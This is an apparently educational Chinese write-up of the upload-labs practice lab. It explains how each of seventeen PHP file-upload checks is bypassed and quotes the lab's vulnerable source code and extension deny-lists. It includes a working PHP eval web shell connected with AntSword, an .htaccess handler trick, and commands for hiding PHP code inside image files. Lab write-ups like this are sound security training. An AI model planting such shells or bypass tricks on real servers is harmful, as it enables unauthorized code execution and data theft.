upload-labs通关

发布时间 2023-07-23 17:12:23作者: 冬璃

upload-labs通关

Pass-01(前端JS绕过)

第一关,刚开始使用bp进行数据抓包的时候,会弹出上传的文件不符合类型要求,于是猜想该代码并没有被上传到后端服务器。查看源码和前端源码,发现源码里面实现了checkFile()的功能,通过function可以想到是通过前端JS来校验文件类型

将onsubmit修改为onsubmit=""之后再选择一个php后门文件上传,可以看到上传成功的图片样式。

使用中国蚁剑来连接后门木马(连接密码为test),获取敏感信息。一句话木马的代码如下:

<?php
          header("Content-type:text/html;charset=gb1232");
          echo "<pre>";
          @eval($_POST['test']);
?>

扩展

html中的name属性的值upload_file这个名字需要和php代码中FILE函数后面的值名字相同,才可以读取到上传的文件的详细信息。

<?php
  echo $_FILE['upload_file']['nmae'];    //上传文件的名字
  echo $_FILE['upload_file']['type'];    //上传文件的类型
  echo $_FILE['upload_file']['size'];    //上传文件的大小
?>

<from enctype="multipart/form-data" method="post" action="">  <--!action=""表示提交给当前文件-->
   <p>请选择要上传的图片:</p> 
   <input class="input_file" type="file" name="upload_file"/>
   <input class="button" type="submit" name="submit" value="上传"/>
</from>

Pass-02(MIME绕过)

先阅读源码,通过分析源码可以发现,第二关对文件后缀名进行校验。可以通过修改concent-type(content-type是http请求的响应头和请求头的字段。当作为响应头时,告诉客户端实际返回的内容的内容类型。作为请求头时,客户端告诉服务器实际发送的数据类型。)的字段来完成绕过。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {         //检测post请求提交的submit里面有内容,执行后续操作     
    if (file_exists(UPLOAD_PATH)) {    //如果存在UPLOAD_PATH这个文件路径,执行后续操作
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {     //如果上传的文件后缀名是jpeg/gif/png类型,执行后续操作
            $temp_file = $_FILES['upload_file']['tmp_name'];          //将上传文件的名字赋值给变量
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']      //路径+/+文件名赋值给变量         
            if (move_uploaded_file($temp_file, $img_path)) {         //将$temp_file的文件移动到$img_path
                $is_upload = true;                                   //文件上传成功
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

开启bp,对数据进行抓包,修改Content-Type的内容为(image/jpeg或者image/gif或者image/png)来绕过校验

扩展

MIME全称Multipurpose Internet Mail Extensions(多用途邮件扩展类型), 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

  • MIME的常见类型

    MIME 描述
    text/html HTML格式
    application/json JSON数据格式
    multipart/form-data 文件上传(二进制数据)
    image/jpeg jpg图片格式
  • MIME用法

    客户端使用:

    1、GET请求不需要这个字段。

    2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的响应类型。比如只能接收json或者其他。

    服务端使用:

    1、放在响应头里面,Content Type告诉客户端响应的数据类型,方便客户端解析。

Pass-03(黑名单绕过)

先阅读源码,通过分析可以发现这是黑名单校验。但是该黑名单只限制了不能上传.php格式,php还有其他的扩展名格式,如:php2,php3,phps等格式。第三关可以通过修改后缀名格式来绕过。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {             //检测post请求提交的submit里面有内容,执行后续操作   
    if (file_exists(UPLOAD_PATH)) {        //如果存在UPLOAD_PATH这个文件路径,执行后续操作
        $deny_ext = array('.asp','.aspx','.php','.jsp');     //将不允许上传的文件后缀名放在数组中赋值给变量
        $file_name = trim($_FILES['upload_file']['name']);   //去除文件名两侧的空格或其他字符
        $file_name = deldot($file_name);                     //删除文件名末尾的点  
        $file_ext = strrchr($file_name, '.');                //删除.前面的内容,只保留.后面的字符串
        $file_ext = strtolower($file_ext);                   //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);  //去除字符串::$DATA
        $file_ext = trim($file_ext);                         //首尾去空格

        if(!in_array($file_ext, $deny_ext)) {                //判断file_ext里面的内容在不在deny_ext里面
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;   //路径+/+当前时间+1000-9999之中的随机数+文件后缀名         
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

deldot是删除文件名末尾的点,如果xiaodi.jpg.zip.php不删除最后的.就会判断为php文件;如果去掉了最后的点就会变成xiaodi.jpg.zipphp。

扩展

  • 常用的等价后缀名

    语言 等价扩展名
    asp asa,cer,cdx
    aspx ashx,asmx,ascx
    php php2,php3,php4,php5,phps,phtml
    jsp jspx,jspf

Pass-04(白名单绕过)

.htaccess文件内容:

<FilesMatch "a.jpg">                                    //如果匹配到文件有"a.jpg"
                 SetHandler application/x-httpd-php    //将该文件的MIME处理为php格式
</FilesMatch>

通过阅读源码分析得知第四关是白名单限制。对上传文件的脚本格式及其扩展格式限制了。因此可以使用.htaccess来辅助上传脚本文件(.htaccess将文件解析为php格式需要在Apache搭建的环境下才可以成功)。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Pass-05(大小写绕过)

观察源码可以发现,第五关少了对大小写的限制。因此可以尝试通过大小写文件后缀名来绕过校验上传文件。上传后缀名为.PHP的文件上传成功。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Pass-06(空格绕过)

观察源码发现少了trim()函数,因此猜想可以尝试使用空格来绕过,但是Windows系统默认会自动去掉空格,于是使用bp抓包来添加空格。在.php后面添加一个空格来绕过校验。如果上传文件出现“ 提示:上传出错! ”等字样需要更换php版本,在重新上传。

Pass-07(点绕过)

观察源码发现少了deldot()函数,因此可以使用在后缀名后面加点来绕过,Windows系统会自动默认去掉.,使用bp进行数据抓包,在.php后面添加.来绕过

Pass-08(::$DATA绕过)

php如果在Windows的时候如果出现文件名+“::$DATA”会把$DATA之后的数据当成文件流出来,不会检查到后缀名,且保持$DATA之前的文件名,他的目的就是不坚持后缀名。这关可以使用::$DATA绕过来绕过

Pass-09(构造绕过)

代码将字符串里的php替换为空,分为下面两种方式:

一次过滤,a.pphphp-->a.php

循环过滤,a.pphphp-->a

分析源码可知,该关卡是一次过滤,因此可以针对他的过滤点来进行构造绕过。构造.php. .可以进行绕过,这个既可以绕过对php黑名单的限制,也可以绕过对上传文件的限制。

Pass-10(双写绕过)

观察源码发现代码会将文件中含义黑名单的后缀名替换为空,因为是一次过滤,所以可以进行双写来绕过,然后上传文件。

Pass-11(%00截断绕过)

%00:用于地址截断

0x00:用于文件名截断

0x0a

观察源码可以发现,对上传的文件名进行拼接,使用的是GET请求,因此可以使用%00来进行截断绕过。在1.png中间添加.php%00

Pass-12(0x00截断绕过)

观察源码发现与11关代码一致,可以使用另一种方式来绕过,在URL地址端进行截断绕过。

可以在URL地址处使用0x00来进行截断,在index.php后面添加?action=show_code/.png%00,然后放包。

Pass-13(文件头检测)

查看源码发现对图片的文件头进行检验,本关需要我们上传一个图片马,图片马有两种制作方法:

1.将图片以记事本的方式打开,在其末尾处写入<?php @eval($_POST['attack']);>然后保存就生成了一个图片马

2.使用命令将图片和php代码进行合成,copy 11.jpg /b + 22.txt /a 123.jpg

最后上传图片马。

Pass-14

查看源码可以发现使用了getimagesize()函数对图片进行检验,getimagesize()的作用是该函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

本关依旧可以使用上关卡的图片马来进行绕过。

Pass-15

查看源码可以发现使用了exif_imagetype(),exif_imagetype是一个在PHP中常用的函数,用于判断图像文件的类型。可以得知JPEG、GIF、PNG和WebP等文件的类型,并返回相应的文件类型值。exif_imagetype()通过读取与流或文件名相关联的字节来确定文件类型。exif_imagetype()根据文件的前几个字节判断文件类型。

本关可以通过以上制作的图片马来绕过。

Pass-16(二次渲染)

本关会将上传的图片重新另存一份,所以图片中的php代码会消失。jpg内容少,php代码在哪个地方都容易被压缩掉;png有严格的格式,但是需要特别精细。因此选择使用gif插入php制作图片马来绕过。

Pass-17(条件竞争)

查看源码发现,本关会将上传的文件进行删除。在进行删除之前,先将我们上传的文件移动到web目录,判断文件是否合法,合法则重命名,不合法则删除。可知,这个操作需要时间,我们可以在浏览器还未判断文件是否合法之前读取上传的木马文件来完成绕过。